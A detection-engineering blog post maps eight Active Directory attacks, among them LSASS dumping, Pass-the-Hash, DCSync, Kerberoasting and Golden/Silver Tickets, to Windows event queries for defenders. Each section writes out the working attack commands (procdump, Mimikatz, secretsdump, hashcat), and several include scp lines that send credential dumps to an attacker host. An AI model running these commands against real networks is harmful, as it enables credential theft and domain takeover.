Detection Engineering for Active Directory Attack Techniques

Introduction

This blog outlines detection strategies for over 20 real-world Active Directory attack techniques. Each entry includes:

ATT&CK technique mapping
Execution commands
Log source configurations
Tested detection queries using event IDs
Attack output and validation from a custom-built lab environment

This blog is written for detection engineers, DFIR analysts, and threat hunters seeking practical, lab-validated detection logic rather than theoretical coverage.

Introduction
Detection Lab Configuration

1. LSASS Dump

Attack Explanation

LSASS dumping targets the Local Security Authority Subsystem Service (lsass.exe) to extract credential material, including NTLM hashes, AES keys, and DPAPI secrets.
Dumped LSASS memory can be parsed offline using tools like pypykatz or Mimikatz to enable follow-on credential abuse such as Pass-the-Hash and Overpass-the-Hash.

Connection to Detection Mechanism

Detection focuses on identifying:

Sysmon Event ID 10 process access targeting lsass.exe
Full memory access (GrantedAccess 0x1fffff)
Memory read operations involving libraries like dbgcore.dll, KERNEL32.dll, or KERNELBASE.dll

These artifacts are strong indicators of credential dumping attempts.

Tactic/Technique

MITRE ATT&CK ID: T1003.001 (OS Credential Dumping: LSASS Memory)
Phase: Credential Access

Execution Summary

Tool Used: procdump.exe
Command Example:

procdump.exe -ma lsass.exe lsass.dmp

Post-Exfiltration:

Compress-Archive -Path .\lsass.dmp -DestinationPath .\lsass.zip
scp .\lsass.zip kali@192.168.0.18:/tmp/

Adversary Objectives

Extract NTLM hashes, AES keys, and DPAPI secrets
Enable credential abuse (e.g., Pass-the-Hash, Overpass-the-Hash)

Execution Context

Privileges Required: Local Administrator or SYSTEM
Target Systems: Domain-joined workstations or servers

Detection Strategy

Log Sources

Sysmon

Detection Logic

Query 1 – LSASS Access via Sysmon Event ID 10:

event.code: 10 AND 
winlog.event_data.TargetImage:*lsass.exe* AND 
winlog.event_data.GrantedAccess: "0x1fffff" AND 
(
  winlog.event_data.CallTrace: *dbgcore.DLL* OR 
  winlog.event_data.CallTrace: *KERNEL32.DLL* OR 
  winlog.event_data.CallTrace: *KERNELBASE.dll*
) AND NOT winlog.event_data.CallTrace: *Sysmon*

Investigation Chain

Step	Investigation Step	Detection Context
1	Sysmon Event ID 10 – lsass.exe access with full memory rights (0x1fffff)	Identifies sensitive process memory access
2	CallTrace includes dbgcore.dll or KERNEL32/KERNELBASE	Common modules used in memory dumping
3	Validate no corresponding legitimate tool execution	Rules out false positives from AV or backup software
4	Look for transfer/compression events (e.g., `.dmp` or `.zip`)	Indicates possible exfiltration of dumped credentials

Detection Notes

Event ID 10 indicates process-to-process memory access
Full access permissions (0x1fffff) suggest credential dumping intent
Presence of dbgcore.dll or kernel-related libraries in CallTrace reinforces memory dump behavior

Attack Testing Evidence

Commands Executed

# Dump LSASS memory to a file
procdump.exe -ma lsass.exe lsass.dmp

# Compress the dump file for exfiltration
Compress-Archive -Path .\lsass.dmp -DestinationPath .\lsass.zip

# Transfer compressed dump to attacker's Kali box
scp .\lsass.zip kali@192.168.0.18:/tmp/

Partial Output

lsass.dmp file (~56 MB) created

pypykatz lsa minidump lsass.dmp

Administrator NTLM: b3c9c1f2cd4548542c855c7a775ca46e
AES256: 785f8e31f6ffd30fd6dd2dce3e67018f842b02aebff23d2cfcb97c60d7a3e21f
DPAPI: e9f149d6... (masterkey extracted)

Event Log Observation

Event ID 10 logged for memory access to lsass.exe
GrantedAccess = 0x1fffff
CallTrace included references to dbgcore.dll, KERNELBASE.dll

Detection Result

Detection correlation confirmed through:

Sysmon Event ID 10 targeting lsass.exe
Full memory access permissions (0x1fffff)
CallTrace aligned with memory dumping behavior

Improvements

Expand monitoring with ETW-based memory access auditing
Deploy AMSI scanning and enhanced memory instrumentation
Detect unauthorized memory access attempts to sensitive processes

Detection Caveats

Advanced LSASS dumping techniques may bypass CallTrace-based detection, especially when using direct system calls or manual memory reads.

2. Pass-the-Hash (PtH)

Attack Explanation

In a Pass-the-Hash attack, an adversary with access to an NTLM hash (typically dumped via LSASS or similar tools) can authenticate without knowing the plaintext password.
Using Mimikatz’s sekurlsa::pth, a forged logon session is injected. The attacker can then execute SMB operations or lateral movement using tools like CrackMapExec, impersonating the stolen identity.

Connection to Detection Mechanism

This detection relies entirely on native Windows event artifacts:

Event ID 4624 (Logon) showing LogonType 3 or 9
SubjectUserSid of S-1-0-0, indicating an anonymous or manually crafted session
LogonProcessName of NtLmSsp or seclogo, both unusual in standard logons
KeyLength of 0, indicating no session key exchange
Target user is not ANONYMOUS LOGON, implying impersonation of a real account

These combinations are rare under normal conditions and correlate strongly with token injection or abuse.

Tactic/Technique

MITRE ATT&CK ID: T1550.002 (Use Alternate Authentication Material: Pass-the-Hash)
Phase: Credential Access / Lateral Movement

Execution Summary

Tools Used: Mimikatz, CrackMapExec
Command Example:

sekurlsa::pth /user:Administrator /domain:CORP /ntlm:b3c9c1f2cd4548542c855c7a775ca46e /run:cmd.exe

Adversary Objectives

Authenticate without using a plaintext password
Execute SMB, WMI, or PSExec remotely with elevated privileges

Execution Context

Privileges Required: SYSTEM-level access to inject the token
Target Systems: Domain-joined systems accepting NTLM authentication

Detection Strategy

Log Sources

Windows Security Log

Detection Logic

Query 1 – Suspicious Logon via NTLM Token Injection:

event.code: "4624" and (
  (
    winlog.event_data.SubjectUserSid: "S-1-0-0" and
    winlog.event_data.LogonType: "3" and
    winlog.event_data.LogonProcessName: "NtLmSsp" and
    winlog.event_data.KeyLength: "0"
  ) or (
    winlog.event_data.LogonType: "9" and
    winlog.event_data.LogonProcessName: "seclogo"
  )
) and not winlog.event_data.TargetUserName: "ANONYMOUS LOGON"

Investigation Chain

Step	Investigation Step	Detection Context
1	4624 LogonType 3 or 9 with SubjectUserSid S-1-0-0	Indicates forged or anonymous session
2	AuthenticationPackageName is NtLmSsp or seclogo	NTLM-specific packages used in token abuse
3	KeyLength is 0 and LogonProcessName is unusual	Suggests no real session key exchange occurred
4	No matching 4776 event	Highlights that no NTLM authentication actually took place

Detection Notes

LogonType 3 indicates network logons
LogonType 9 indicates NewCredentials logons used for impersonation or token abuse

Attack Testing Evidence

Command Executed

# Dump LSASS memory on victim machine
procdump.exe -ma lsass.exe lsass_active.dmp

# Extract credentials from the dump using pypykatz
python3 -m pypykatz lsa minidump lsass_active.dmp

# Inject the recovered NTLM hash for the Administrator account
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:b3c9c1f2cd4548542c855c7a775ca46e /run:cmd.exe

# Use CrackMapExec to validate SMB access to target
crackmapexec smb 192.168.0.28 -u Administrator -d CORP -H b3c9c1f2cd4548542c855c7a775ca46e

# Enumerate accessible shares to validate privileges
crackmapexec smb 192.168.0.28 -u Administrator -d CORP -H b3c9c1f2cd4548542c855c7a775ca46e --shares

Partial Output

user    : Administrator
domain  : CORP
NTLM    : b3c9c1f2cd4548542c855c7a775ca46e
program : cmd.exe
[Pwn3d!] CORP\Administrator:b3c9c1f2cd4548542c855c7a775ca46e

Event Log Observation

4624 events generated with LogonType 3 or 9
SubjectUserSid: S-1-0-0, LogonProcessName: NtLmSsp, KeyLength: 0
TargetUserName is a real account, not ANONYMOUS LOGON

Detection Result

Detection correlation confirmed through:

4624 logon events showing anomalous conditions (S-1-0-0 Subject SID, KeyLength 0, and unusual LogonProcessName)
Privilege escalation and lateral movement confirmed through NTLM authentication and token impersonation activity

Improvements

Monitor for LogonType 9 events in combination with anomalous NTLM session characteristics
Alert on mismatched or null session keys (KeyLength = 0) associated with SYSTEM or high-privilege accounts
Correlate suspicious 4624 events with parent processes (e.g., cmd.exe, powershell.exe, lateral movement tooling)
Integrate Sysmon or EDR telemetry for more accurate process lineage tracking

Detection Caveats

Advanced attackers may forge tokens that do not use SubjectUserSid S-1-0-0, evading basic SID detection
Certain legitimate remote management frameworks can produce NewCredentials (LogonType 9) resembling PtH artifacts
Detection assumes reliable logging and process correlation; missing EDR or Sysmon coverage can degrade visibility
Token theft may also occur via named pipe impersonation, bypassing conventional PtH event sequences

3. Pass-the-Ticket (PtT)

Attack Explanation

Pass-the-Ticket attacks involve injecting stolen or forged Kerberos tickets (TGT or TGS) into memory to authenticate as another user—bypassing standard credential validation. Tools like Mimikatz can load .kirbi tickets directly into the session using the kerberos::ptt command.

Because this skips the normal Kerberos authentication sequence (no AS-REQ or Event ID 4768), it results in anomalous ticket usage without corresponding pre-authentication events.

Connection to Detection Mechanism

Detection relies on identifying inconsistencies in Kerberos ticket flow:

Event ID 4769 (TGS request) observed with no prior Event ID 4768 (TGT request)
4624 logons with Kerberos authentication from systems or accounts lacking interactive use
Injection of .kirbi tickets from attacker tooling such as kerberos::ptt

These patterns suggest impersonation via forged Kerberos tickets.

Tactic/Technique

MITRE ATT&CK ID: T1550.003
Phase: Lateral Movement

Execution Summary

Tool Used: Mimikatz
Command Format:

kerberos::ptt <ticket_file.kirbi>

Validation Command:

kerberos::list

Adversary Objectives

Reuse Kerberos tickets to access resources without password
Bypass authentication monitoring and pre-auth mechanisms
Move laterally while impersonating high-privileged users

Execution Context

Privileges Required: SYSTEM or equivalent access to import tickets into session
Target Systems: Any domain system accepting SPN-authenticated Kerberos access

Detection Strategy

Log Sources

Windows Security Log
Kerberos Authentication Logs

Detection Logic

Query 1 – TGS Request Without Prior AS-REQ:

event.code: 4769
AND NOT event.code: 4768
AND winlog.event_data.TargetUserName: "Administrator"

Query 2 – Kerberos Logon With Ticket Reuse:

event.code: 4624
AND winlog.event_data.LogonType: "3"
AND winlog.event_data.AuthenticationPackageName: "Kerberos"

Investigation Chain

Step	Investigation Step	Detection Context
1	4624 LogonType 3 with Kerberos from unexpected source	Indicates forged ticket use
2	4769 TGS-REQ observed with no preceding 4768	Shows bypass of standard AS-REQ
3	Look for `kerberos::ptt` usage or injected `.kirbi` tickets	Ties detection to attacker tooling
4	Correlate session to resource access (CIFS, LDAP, etc.)	Verifies the forged ticket led to lateral movement

Detection Notes

Detection relies on missing AS-REQ (4768) prior to observed TGS usage
Works best when scoped to high-value users or known attackers
False positives can occur in rare edge cases involving reused cached tickets

Attack Testing Evidence

Command Executed

# Inject a forged Kerberos Ticket Granting Ticket (TGT) into memory
kerberos::ptt C:\\Users\\Administrator\\Downloads\\mimikatz_trunk\\x64\\0-40e10000-Administrator@krbtgt~CORP.LOCAL-CORP.LOCAL.kirbi

Partial Output

# Confirm that the forged ticket was loaded successfully
kerberos::list
# Output snippet (confirmed):
# [00000000] - aes256_hmac
# Server Name : krbtgt/CORP.LOCAL @ CORP.LOCAL
# Client Name : Administrator @ CORP.LOCAL
# Flags       : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable

Event Log Observation

Event ID 4769 logged for Administrator without corresponding 4768
Event ID 4624 with Kerberos logon appeared shortly after

Detection Result

TGT was injected and accepted by the system without full authentication
Log sequence showed impersonation bypass
Detection confirmed on service ticket usage with no prior logon proof

Improvements

Add correlation with Event ID 4770 (TGT renewals)
Alert on unusual encryption types or KVNO mismatches
Build logic to track reuse of tickets across multiple systems

Detection Caveats

Environments with caching or reused TGTs may show isolated 4769s; tune based on TargetUserName, IpAddress, and ServiceName
False negatives can occur if Kerberos pre-auth events are not collected
Does not detect all Kerberos abuse—only forged ticket injection, not delegation or constrained abuse

4. DCSync

Attack Explanation

DCSync is a credential dumping technique where an attacker impersonates a Domain Controller and requests replication of sensitive directory data—specifically password hashes—via the GetNCChanges call in the Directory Replication Service (DRS) Remote Protocol.

This technique does not require disk access (e.g., ntds.dit) and is typically performed using tools like Mimikatz or Impacket’s secretsdump.py. Because it leverages legitimate Active Directory replication mechanics, detection must focus on behavioral anomalies.

Connection to Detection Mechanism

DCSync detection is based on identifying unauthorized replication-related activity:

Event ID 4662 with replication object GUIDs and elevated AccessMask
Event ID 4624 with LogonType 3 (network logon) from a suspicious non-DC host
Source accounts that are not legitimate Domain Controllers or replication service accounts

These indicators suggest unauthorized directory replication attempts.

Tactic/Technique

MITRE ATT&CK ID: T1003.006 (OS Credential Dumping: DCSync)
Phase: Credential Access

Execution Summary

Tool Used: Impacket secretsdump.py
Command Example:
- secretsdump.py -just-dc corp.local/Administrator@192.168.0.22 -hashes :b3c9c1f2cd4548542c855c7a775ca46e
Post-Exfiltration:

# On Windows 
scp 0-40e10000-Administrator@krbtgt~CORP.LOCAL-CORP.LOCAL.kirbi kali@192.168.0.18:/tmp/ 

# On Linux

export KRB5CCNAME=/tmp/krb5cc_dcsync 

impacket-ticketConverter /tmp/0-40e10000-Administrator@krbtgt~CORP.LOCAL-CORP.LOCAL.kirbi /tmp/krbtgt.ccache 

mv /tmp/krbtgt.ccache /tmp/krb5cc_dcsync

Adversary Objectives

Dump NTLM, AES, and Kerberos keys for all users
Harvest credentials without touching disk artifacts directly

Execution Context

Privileges Required: Domain Admin or any user with replication rights
Target Systems: Domain Controller (e.g., 192.168.0.22)

Detection Strategy

Log Sources:

Windows Security Event Log
Directory Services Audit Log

Detection Logic

Query 1 – DCSync Replication Access Attempt (GUID-Based):

event.code: "4662" AND winlog.event_data.Properties: ( 
  *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* OR 
  *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* OR 
  *89e95b76-444d-4c62-991a-0facbeda640c* 
) AND winlog.event_data.AccessMask: "0x100"
AND NOT winlog.event_data.SubjectUserName: ("DC01$" OR "krbtgt")

Query 2 – Suspicious NTLM Network Logon from Non-DC Host:

event.code: "4624" AND 
winlog.event_data.TargetUserName: "Administrator" AND 
winlog.event_data.LogonType: "3" AND 
host.name: *dc01* AND 
winlog.event_data.AuthenticationPackageName: "NTLM" AND 
winlog.event_data.SubjectUserSid: "S-1-0-0"

Investigation Chain

Step	Investigation Step	Detection Context
1	4662 – Access to replication GUIDs with AccessMask 0x100	Key sign of replication attempt
2	4624 – LogonType 3 with NTLM from a non-DC host	Unexpected logon source for replication
3	Correlate SubjectUserName with non-replication users	Validates unauthorized replication attempt
4	Check for `secretsdump.py` usage or ticket conversion	Confirms follow-on hash dumping activity

Detection Notes

4662 access attempts against replication GUIDs signal potential DCSync behavior.
4624 network logons from unusual hosts or accounts further validate suspicion.

Attack Testing Evidence

Command Executed

# Use Impacket’s secretsdump to impersonate a domain controller and request password replication
secretsdump.py corp.local/Administrator@192.168.0.22 -just-dc -hashes :b3c9c1f2cd4548542c855c7a775ca46e

# Output will include NTLM hashes for krbtgt, Administrator, and all domain users
# Example:
# CORP.LOCAL\\krbtgt:$krb5asrep$23$...
# CORP.LOCAL\\Administrator:b3c9c1f2cd4548542c855c7a775ca46e:...

# Save output locally if needed
secretsdump.py ... > dcsync.txt

# Transfer output to attacker-controlled host (optional)
scp dcsync.txt kali@192.168.0.18:/tmp/

Partial Output

Administrator:500:...:b3c9c1f2cd4548542c855c7a775ca46e
krbtgt:502:...:f7e22e988f5259a5624b5f0f6f195f28
svc-sql:1104:...:58a478135a93ac3bf058a5ea0e8fdb71

Event Log Observation

Event ID 4662 triggered from WORKSTATION01 involving replication rights
Event ID 4624 network logon observed for Administrator from attacker-controlled IP

Detection Result

Detection successfully triggered based on:

Unauthorized replication access requests
Confirmed credential dumping via DRS protocol abuse
Extracted hashes validated compromise

Improvements

Implement alerts for replication GUID access attempts from non-DC systems.
Deploy honeypot user accounts with replication rights to monitor unauthorized replication attempts.
Regularly audit GetChanges permissions assigned across Active Directory users and groups.

Detection Caveats

Detection requires Directory Service Access auditing (Event ID 4662) to be properly configured and enabled; without it, DCSync attacks will not generate observable telemetry.
Attackers using highly stealthy tools may attempt to limit replication scope, complicating straightforward GUID matching.
Legitimate Active Directory maintenance activities may trigger similar 4662 events; tuning must differentiate normal replication from malicious abuse.

5. AS-REP Roasting

Attack Explanation

AS-REP Roasting targets accounts that do not require Kerberos pre-authentication (UF_DONT_REQUIRE_PREAUTH). When a client requests authentication, the Domain Controller returns an encrypted AS-REP message without verifying the user’s identity first.

If pre-authentication is disabled, an attacker can request this AS-REP and attempt to crack the password offline, using the encrypted ticket response as the hash input. This is especially dangerous for service accounts or any account with weak passwords and no lockout policies.

Connection to Detection Mechanism

The key indicator is an AS-REP reply (Event ID 4769) without a preceding AS-REQ (Event ID 4768), involving specific encryption types such as RC4 (etype 23).

AS-REP activity should only occur for accounts explicitly configured without pre-authentication, which should be rare. A surge of AS-REP replies without matching AS-REQs, especially from unusual IP addresses or non-Windows hosts (e.g., Kali Linux), strongly suggests enumeration or roasting attempts.

Tactic/Technique

MITRE ATT&CK ID: T1558.004 (Steal or Forge Kerberos Tickets: AS-REP Roasting)
Phase: Credential Access

Execution Summary

Tool Used: Impacket’s GetNPUsers.py

Command Example:

GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 192.168.0.22

Adversary Objectives

Obtain encrypted AS-REP responses to perform offline password cracking
Identify weak passwords on accounts with pre-authentication disabled

Execution Context

Privileges Required: Any low-privileged domain user
Target Systems: Domain Controller

Detection Strategy

Log Sources

Windows Security Event Log

Detection Logic

Query 1 – AS-REP requests with PreAuthType 0:

event.code: "4768" AND 
winlog.event_data.PreAuthType: "0" AND 
NOT winlog.event_data.TargetUserName: "*$" AND 
NOT winlog.event_data.IpAddress: ("192.168.0.22" OR "::1" OR "127.0.0.1")

Query 2 – AS-REP replies using RC4 encryption:

event.code: "4769" AND 
winlog.event_data.TicketEncryptionType: "0x17" AND 
NOT winlog.event_data.TargetUserName: "*$"

Query 3 – Post-roast account activity monitoring:

event.code: ("4624" OR "4625" OR "4672") AND 
winlog.event_data.TargetUserName: ("attacker" OR "svc-sql")

Query 4 – Tool execution from attacker systems:

event.code: "1" AND
winlog.event_data.NewProcessName: ("*rubeus*" OR "*impacket*" OR "*python.exe*" OR "*powershell.exe*") AND
winlog.event_data.ParentProcessName: ("*cmd.exe*" OR "*powershell.exe*")

Investigation Chain

Step	Investigation Step	Detection Context
1	4768 – PreAuthType 0 (no pre-authentication)	Identifies vulnerable users
2	4769 – RC4-encrypted AS-REP response	Targetable ticket format for offline cracking
3	4624 or 4672 activity for roasted accounts	Indicates potential follow-on compromise
4	Sysmon Event ID 1 – `rubeus` or `GetNPUsers` usage	Links detection to known tooling

Detection Notes

Focuses on identifying AS-REP replies sent for accounts missing pre-authentication.
Flags RC4-encrypted responses likely to be targeted for cracking.
Monitors subsequent suspicious behavior following potential account compromise.

Attack Testing Evidence

Command Executed

# Use Impacket’s GetNPUsers to identify users with "Do not require Kerberos preauthentication" set (UF_DONT_REQUIRE_PREAUTH)
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 192.168.0.22

# Save the output for cracking
echo "$krb5asrep$23$svc-sql@CORP.LOCAL:..." > hash.txt

# Crack the hash offline
hashcat -m 18200 -a 0 hash.txt rockyou.txt

Partial Output

$krb5asrep$23$attacker@CORP.LOCAL:...
$krb5asrep$23$svc-sql@CORP.LOCAL:...

Event Log Observation

4769 events generated for svc-sql and attacker
No corresponding 4768 events observed

Detection Result

Detection correlation confirmed through:

RC4-encrypted AS-REP ticket responses
Absence of standard Kerberos pre-authentication requests
Identification of users vulnerable to offline password cracking

Improvements

Continuously monitor the userAccountControl flag 0x00400000 (DONT_REQ_PREAUTH) to identify accounts at risk
Alert when AS-REP messages are sent to external or unusual IP addresses

Detection Caveats

Detection reliably identifies users vulnerable to AS-REP Roasting but is tuned for RC4-encrypted tickets; hardened domains using AES encryption may require alternative cracking approaches
In environments with non-standard Kerberos configurations, legitimate AS-REP flows may require additional tuning to avoid false positives

6. Kerberoasting

Attack Explanation

Kerberoasting is a credential access technique where an attacker requests a Ticket Granting Service (TGS) ticket for service accounts in Active Directory. These tickets are encrypted with the service account’s password hash.

If the service account has a weak password, the attacker can crack the TGS offline and gain access to the account credentials.

Kerberoasting requires no elevated permissions—any authenticated domain user can request service tickets for SPNs. It becomes particularly dangerous if service accounts have high privileges.

Connection to Detection Mechanism

The detection focuses on identifying:

TGS requests for service accounts (Event ID 4769)
Use of RC4 encryption (etype 0x17), which is highly susceptible to offline cracking
Exclusion of krbtgt service tickets
Filtering out machine accounts and known noisy service accounts

This combination helps isolate suspicious TGS requests indicative of Kerberoasting attempts.

Tactic/Technique

MITRE ATT&CK ID: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)
Phase: Credential Access

Execution Summary

Tool Used: Rubeus, Impacket’s GetUserSPNs.py
Command Example: GetUserSPNs.py corp.local/attacker:Password123 -dc-ip 192.168.0.22 -request

Adversary Objectives

Obtain TGS tickets for service accounts
Crack service account passwords offline to escalate privileges

Execution Context

Privileges Required: Any valid domain user
Target Systems: Any domain-joined server with exposed SPNs

Detection Strategy

Log Sources

Windows Security Event Log

Detection Logic

Query 1 – Targeted Kerberoast Detection: RC4 TGS Requests (Excludes svc/machine accounts):

(winlog.event_id:4769 OR winlog.event_id:4768) AND
winlog.event_data.TicketEncryptionType:"0x17" AND
NOT winlog.event_data.ServiceName:"krbtgt" AND
NOT winlog.event_data.TargetUserName:("sqlsvc" OR "svc-*" OR *$*)

Investigation Chain

Step	Investigation Step	Detection Context
1	4769 – TGS request with RC4 encryption (etype 0x17)	Indicates ticket vulnerable to offline cracking
2	Filter out `krbtgt` and machine accounts	Reduces false positives from routine ticket use
3	Detect repeated requests to same SPN	Suggests targeted account password cracking
4	Look for tool usage (e.g., `GetUserSPNs`, `Rubeus`)	Confirms intent to extract and crack ticket hashes

Detection Notes

Filters out krbtgt requests and routine service account noise.
Focuses detection on RC4-encrypted tickets vulnerable to offline cracking.
Targeted to minimize false positives while catching legitimate Kerberoasting patterns.

Attack Testing Evidence

Command Executed

# Request TGS tickets for service accounts to extract crackable Kerberos hashes
GetUserSPNs.py corp.local/attacker:Password123 -dc-ip 192.168.0.22 -request

Partial Output

$krb5tgs$23$*svc-dba$CORP.LOCAL:CORP.LOCAL/svc-dba@CORP.LOCAL:...

Event Log Observation

4769 event triggered
RC4 encryption observed for service account svc-dba

Detection Result

Detection successfully triggered based on:

TGS request encrypted with RC4
SPN account matched a non-standard, crackable service account
No krbtgt involvement, low false positive context

Improvements

Monitor for repeated service ticket requests within short time intervals.
Correlate targeted service accounts against password strength and rotation policies.
Expand to detect AES-encrypted service tickets where cracking feasibility changes.

Detection Caveats

Detection focuses on RC4-encrypted Kerberos service tickets (TicketEncryptionType 0x17); environments using AES encryption require separate monitoring strategies.
Service accounts manually configured to enforce stronger encryption policies may evade this detection if the system defaults to AES.

7. Golden Ticket

Attack Explanation

Golden Ticket attacks involve forging a valid Ticket Granting Ticket (TGT) using the KRBTGT account's NTLM hash. Once an attacker compromises this hash (e.g., via DCSync), they can craft arbitrary TGTs for any user, assign privileges, and authenticate to domain resources without contacting a Domain Controller.

Because Golden Tickets are manually forged, they bypass the normal Kerberos AS-REQ (4768) exchange, creating detectable inconsistencies in authentication event sequences.

Connection to Detection Mechanism

Golden Ticket usage exhibits the following anomalies:

Event ID 4624 (Logon) occurs via the "Kerberos" AuthenticationPackageName with LogonType 3 (network logon)
The Logon GUID is all zeros ({00000000-0000-0000-0000-000000000000}), indicating a synthetic session
The SubjectUserSid is "S-1-0-0" (anonymous or manually crafted session)
No preceding Event ID 4768 (TGT request) associated with the 4624 logon within the expected time frame

This absence of a legitimate ticket-granting event, combined with a suspicious 4624 logon, strongly suggests Golden Ticket usage.

Tactic/Technique

MITRE ATT&CK ID: T1558.001 (Steal or Forge Kerberos Tickets: Golden Ticket)
Phase: Credential Access / Persistence / Lateral Movement

Execution Summary

Tool Used: Mimikatz

Command Example:

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3268981039-1285789266-758775044 /krbtgt:bc29a1ac2d81a8ac9e3ab8fd63d03d4f /ticket:golden.kirbi /ptt

Adversary Objectives

Forge a privileged Kerberos TGT
Authenticate across the domain without KDC interaction

Execution Context

Privileges Required: KRBTGT NTLM hash
Target Systems: Any Kerberos-reliant service or endpoint within the domain

Detection Strategy

Log Sources

Windows Security Event Log

Detection Logic

Query 1 – Suspicious 4624 Logon with Forged Indicators:

event.code: "4624" 
AND winlog.event_data.LogonType: "3" 
AND winlog.event_data.AuthenticationPackageName: "Kerberos" 
AND winlog.event_data.SubjectUserSid: "S-1-0-0" 
AND winlog.event_data.LogonGuid: "{00000000-0000-0000-0000-000000000000}"

Query 2 – No Preceding 4768 TGT Request:

Correlate 4624 events with preceding 4768 requests within 2-minute window. Flag if none found.

Investigation Chain

Step	Investigation Step	Detection Context
1	4624 – Kerberos logon with SubjectUserSid S-1-0-0 and LogonGuid = all zeros	Forged session with no domain correlation
2	No preceding 4768 within 2-minute window	Indicates manually crafted TGT bypassing KDC
3	TargetUserName is high-privileged (e.g., Administrator)	Shows likely lateral movement intent
4	Access to sensitive shares or systems without expected logon flow	Confirms abuse of forged TGT in attack path

Detection Notes

A Kerberos network logon (4624 LogonType 3) without a corresponding TGT request (4768) strongly suggests ticket forgery
Zeroed Logon GUID ({00000000-0000-0000-0000-000000000000}) is a major anomaly marker

Attack Testing Evidence

Command Executed

# Craft and inject a forged TGT (Golden Ticket) for domain administrator
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:<NTLM hash> /id:500 /ptt

# Verify the ticket is loaded
kerberos::list

Partial Output

[*] Injecting ticket : done
kerberos::list → shows forged ticket for Administrator with full privileges

Event Log Observation

4624 network logon for Administrator
No 4768 TGT request observed in proximity
AuthenticationPackageName: "Kerberos"
Logon GUID: {00000000-0000-0000-0000-000000000000}
SubjectUserSid: "S-1-0-0"

Accessed domain controller file share: \\DC01\C$

Detection Result

Detection correlation confirmed through:

Anomalous 4624 Kerberos network logon with forged ticket indicators
Absence of a legitimate 4768 TGT request preceding the logon
Validation that forged TGTs bypass KDC involvement

Improvements

Implement strict correlation of Kerberos 4624 logons with prior 4768 events
Alert on zeroed Logon GUIDs associated with privileged accounts
Tune detection windows (~2–5 minutes) to account for minor timing drifts

Detection Caveats

Attackers may forge Golden Tickets with manipulated fields (e.g., non-zero Logon GUID) to evade detection
Legitimate Kerberos logons may rarely generate missing or delayed 4768 events under extreme KDC load
Some red team frameworks randomize LogonProcessName or SubjectUserSid to mimic legitimate traffic
Detection depends on reliable timestamp correlation between 4624 and expected Kerberos flows; excessive time drift could obscure anomalies

8. Silver Ticket

Attack Explanation

A Silver Ticket attack involves forging a Kerberos Ticket Granting Service (TGS) ticket for a specific service (such as CIFS or HTTP) using the NTLM hash of a service account, rather than the KRBTGT account.

Unlike Golden Tickets, Silver Tickets are service-specific and do not require communication with a Domain Controller. The forged ticket is presented directly to the target service, allowing stealthy lateral movement.

Because no AS-REQ (4768) or TGS-REQ (4769) is sent to the KDC, detecting Silver Tickets requires identifying abnormal Kerberos logon patterns at the service level.

Connection to Detection Mechanism

Silver Ticket abuse typically generates:

Event ID 4624 (network logon) using the "Kerberos" AuthenticationPackageName
LogonType 3 (network logon)
ProcessId of "0x0", indicating an abnormal or injected session
KeyLength of "0", meaning no session key negotiation
Absence of preceding Event ID 4768 or 4769 activity associated with the source IP and TargetUserName

This combination suggests that a manually crafted service ticket was used.

Tactic/Technique

MITRE ATT&CK ID: T1558.002 (Steal or Forge Kerberos Tickets: Silver Ticket)
Phase: Credential Access / Lateral Movement

Execution Summary

Tool Used: Mimikatz

Command Example:

# Forge and inject a service ticket (Silver Ticket) for CIFS access on DC01
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /rc4:<NTLM hash> /sname:cifs/DC01.corp.local /id:500 /ptt

# Confirm ticket injection
kerberos::list

Adversary Objectives

Forge a service-specific Kerberos ticket for stealthy authentication
Bypass Domain Controller detection by avoiding KDC communications

Execution Context

Privileges Required: NTLM hash of the target service account
Target Systems: Kerberos-enabled services (CIFS, HTTP, HOST, etc.)

Detection Strategy

Log Sources

Windows Security Event Log

Detection Logic

Query 1 – Suspicious 4624 Kerberos Logon:

event.code: 4624
AND winlog.event_data.LogonType: 3
AND winlog.event_data.AuthenticationPackageName: "Kerberos"
AND winlog.event_data.LogonProcessName: "Kerberos"
AND winlog.event_data.TargetUserName: "Administrator"
AND winlog.event_data.IpAddress: "192.168.0.28"
AND winlog.event_data.ProcessId: "0x0"
AND winlog.event_data.KeyLength: "0"

Query 2 – No Matching Ticket Events:

Correlate by searching for Event ID 4768 or 4769 for the same TargetUserName and IP within ~1–2 minutes.

If no matching events are found, suspect Silver Ticket abuse.

Investigation Chain

Step	Investigation Step	Detection Context
1	4624 – Kerberos logon with ProcessId 0x0 and KeyLength 0	Forged service ticket used locally
2	No matching 4768 or 4769 events	Confirms bypass of KDC communication
3	TargetUserName is privileged or service-aligned	Shows ticket abuse for lateral service access
4	Resource access (e.g., \DC01\C$) from forged session	Validates forged TGS was used successfully

Detection Notes

A Kerberos 4624 logon with ProcessId = 0x0 and KeyLength = 0 is highly abnormal
Absence of legitimate ticket-granting events (4768/4769) strengthens suspicion of forgery

Attack Testing Evidence

Command Executed

kerberos::golden /user:Administrator /domain:corp.local /rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /service:cifs /target:DC01.corp.local /sid:S-1-5-21-3268981039-1285789266-758775044 /ticket:silver.kirbi /ptt

Partial Output

Ticket successfully injected using /ptt
Service accessed: \\DC01\C$ using forged TGS

Event Log Observation

Event ID 4624 generated for Administrator
ProcessId: 0x0
KeyLength: 0
Source IP: 192.168.0.28
No corresponding Event ID 4768 or 4769 found within the timeframe

Detection Result

Detection correlation confirmed through:

Anomalous Kerberos network logon (4624 with 0x0 ProcessId and KeyLength 0)
Absence of any preceding Kerberos ticket requests (4768/4769)
Direct service ticket injection against a Kerberos-enabled service without KDC interaction

Improvements

Correlate 4624 Kerberos logons with absence of preceding 4768 and 4769 events
Tune alerts to minimize false positives from legitimate service interactions
Enrich detections with service type targeting (e.g., CIFS, HTTP) when possible

Detection Caveats

Forged Silver Tickets may present slightly different KeyLength or ProcessId values if crafted with custom tooling to bypass naïve detection
Legitimate service accounts or misconfigured Kerberos applications may generate 4624 events with 0x0 ProcessId and 0 KeyLength without malicious activity
